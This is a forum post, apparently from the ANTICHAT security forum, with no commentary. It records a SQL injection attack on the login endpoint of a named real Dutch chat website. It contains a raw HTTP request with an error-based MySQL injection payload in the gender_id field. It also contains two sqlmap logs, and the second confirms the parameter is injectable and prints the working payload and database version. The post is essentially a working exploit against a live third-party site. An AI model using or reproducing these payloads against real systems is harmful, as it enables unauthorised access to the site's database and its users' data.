ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Code:
POST /account/doLogin HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.170 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://chatgirl.nl
Referer: http://chatgirl.nl/account/
Accept-Language: en-us,en;q=0.5
Host: chatgirl.nl
Cookie: __cfduid=d90bad96b9df60b454800378893a111ae1435509309; saved_gender_id=11; saved_interest_id=11; saved_region_id=city_611225; saved_nickname=NSFTW
Accept-Encoding: gzip, deflate
Content-Length: 442
Content-Type: application/x-www-form-urlencoded

nickname=&gender_id=-1+or+1%3d1+and+(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)&region_id=city_2466&cv=Geef+hier+een+omschrijving+van+jezelf.&coupon%5B%5D=&username=&password=&screen_resolution=800x400&os=Windows&screen_size=medium

Code:
[19:48:08] [INFO] fetched random HTTP User-Agent header from file 'D:\Pentest\Sql_inj\PentestBox\bin\WebApplications\sqlmap\txt\user-agents.txt': 'Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8'
custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q]
[19:48:14] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://chatgirl.nl/welcome/chat_closed'. Do you want to follow? [Y/n] n
[19:48:18] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable
[19:48:19] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[19:48:19] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[19:48:31] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[19:48:43] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[19:48:55] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[19:49:06] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[19:49:19] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[19:49:30] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[19:49:30] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[19:49:30] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[19:49:30] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[19:49:32] [INFO] testing 'MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause'
[19:49:32] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)'
[19:49:32] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML)'
[19:49:33] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)'
[19:49:33] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause'
[19:49:34] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[19:51:59] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[19:54:21] [INFO] testing 'Generic UNION query (NULL) - 11 to 20 columns'
[19:56:29] [INFO] testing 'Generic UNION query (random number) - 11 to 20 columns'
[19:58:33] [INFO] testing 'Generic UNION query (NULL) - 21 to 30 columns'
[20:00:50] [INFO] testing 'Generic UNION query (random number) - 21 to 30 columns'
[20:03:04] [INFO] testing 'Generic UNION query (NULL) - 31 to 40 columns'
[20:04:54] [INFO] heuristics detected web page charset 'ascii'
[20:04:54] [WARNING] reflective value(s) found and filtering out
[20:04:54] [INFO] target URL appears to be UNION injectable with 40 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[20:08:10] [INFO] testing 'Generic UNION query (20) - 41 to 50 columns'
[20:17:02] [INFO] testing 'MySQL UNION query (20) - 1 to 10 columns'
[20:23:11] [INFO] testing 'MySQL UNION query (20) - 11 to 20 columns'
[20:25:14] [INFO] testing 'MySQL UNION query (20) - 21 to 30 columns'
[20:27:10] [INFO] testing 'MySQL UNION query (20) - 31 to 40 columns'
[20:29:03] [INFO] testing 'MySQL UNION query (20) - 41 to 50 columns'
[20:31:04] [WARNING] (custom) POST parameter '#1*' is not injectable

Code:
[20:52:46] [INFO] fetched random HTTP User-Agent header from file 'D:\Pentest\Sql_inj\PentestBox\bin\WebApplications\sqlmap\txt\user-agents.txt': 'Mozilla/5.0 (X11; U; SunOS i86pc; fr; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4'
custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q]
[20:52:47] [INFO] testing connection to the target URL
[20:52:53] [INFO] heuristics detected web page charset 'ascii'
[20:52:53] [INFO] heuristic (basic) test shows that (custom) POST parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[20:52:54] [INFO] heuristic (XSS) test shows that (custom) POST parameter '#1*' might be vulnerable to XSS attacks
[20:52:54] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[20:52:54] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[20:52:55] [WARNING] reflective value(s) found and filtering out
[20:53:01] [INFO] (custom) POST parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
[20:53:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:53:01] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:53:30] [INFO] target URL appears to be UNION injectable with 1 columns
[20:53:34] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[20:54:02] [INFO] testing 'Generic UNION query (NULL) - 22 to 40 columns'
[20:54:23] [INFO] testing 'Generic UNION query (random number) - 22 to 40 columns'
[20:54:44] [INFO] testing 'Generic UNION query (NULL) - 42 to 60 columns'
[20:55:03] [INFO] testing 'Generic UNION query (random number) - 42 to 60 columns'
[20:55:23] [INFO] testing 'Generic UNION query (NULL) - 62 to 80 columns'
[20:55:42] [INFO] testing 'Generic UNION query (random number) - 62 to 80 columns'
sqlmap got a 302 redirect to 'http://chatgirl.nl/welcome/chat_closed'. Do you want to follow? [Y/n] n
[20:56:08] [INFO] testing 'Generic UNION query (NULL) - 82 to 100 columns'
[20:56:15] [INFO] testing 'Generic UNION query (random number) - 82 to 100 columns'
[20:56:20] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[20:56:25] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[20:56:33] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'
[20:56:38] [INFO] testing 'MySQL UNION query (random number) - 22 to 40 columns'
[20:56:43] [INFO] testing 'MySQL UNION query (NULL) - 42 to 60 columns'
[20:56:48] [INFO] testing 'MySQL UNION query (random number) - 42 to 60 columns'
[20:56:53] [INFO] testing 'MySQL UNION query (NULL) - 62 to 80 columns'
[20:56:58] [INFO] testing 'MySQL UNION query (random number) - 62 to 80 columns'
[20:57:03] [INFO] testing 'MySQL UNION query (NULL) - 82 to 100 columns'
[20:57:08] [INFO] testing 'MySQL UNION query (random number) - 82 to 100 columns'
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 400 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: nickname=&gender_id=1 AND (SELECT 9140 FROM(SELECT COUNT(*),CONCAT(0x71707a7071,(SELECT (ELT(9140=9140,1))),0x71767a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&region_id=city_2466&cv=Geef hier een omschrijving van jezelf.&coupon[]=&username=&password=&screen_resolution=800x400&os=Windows&screen_size=medium
---
[20:57:16] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0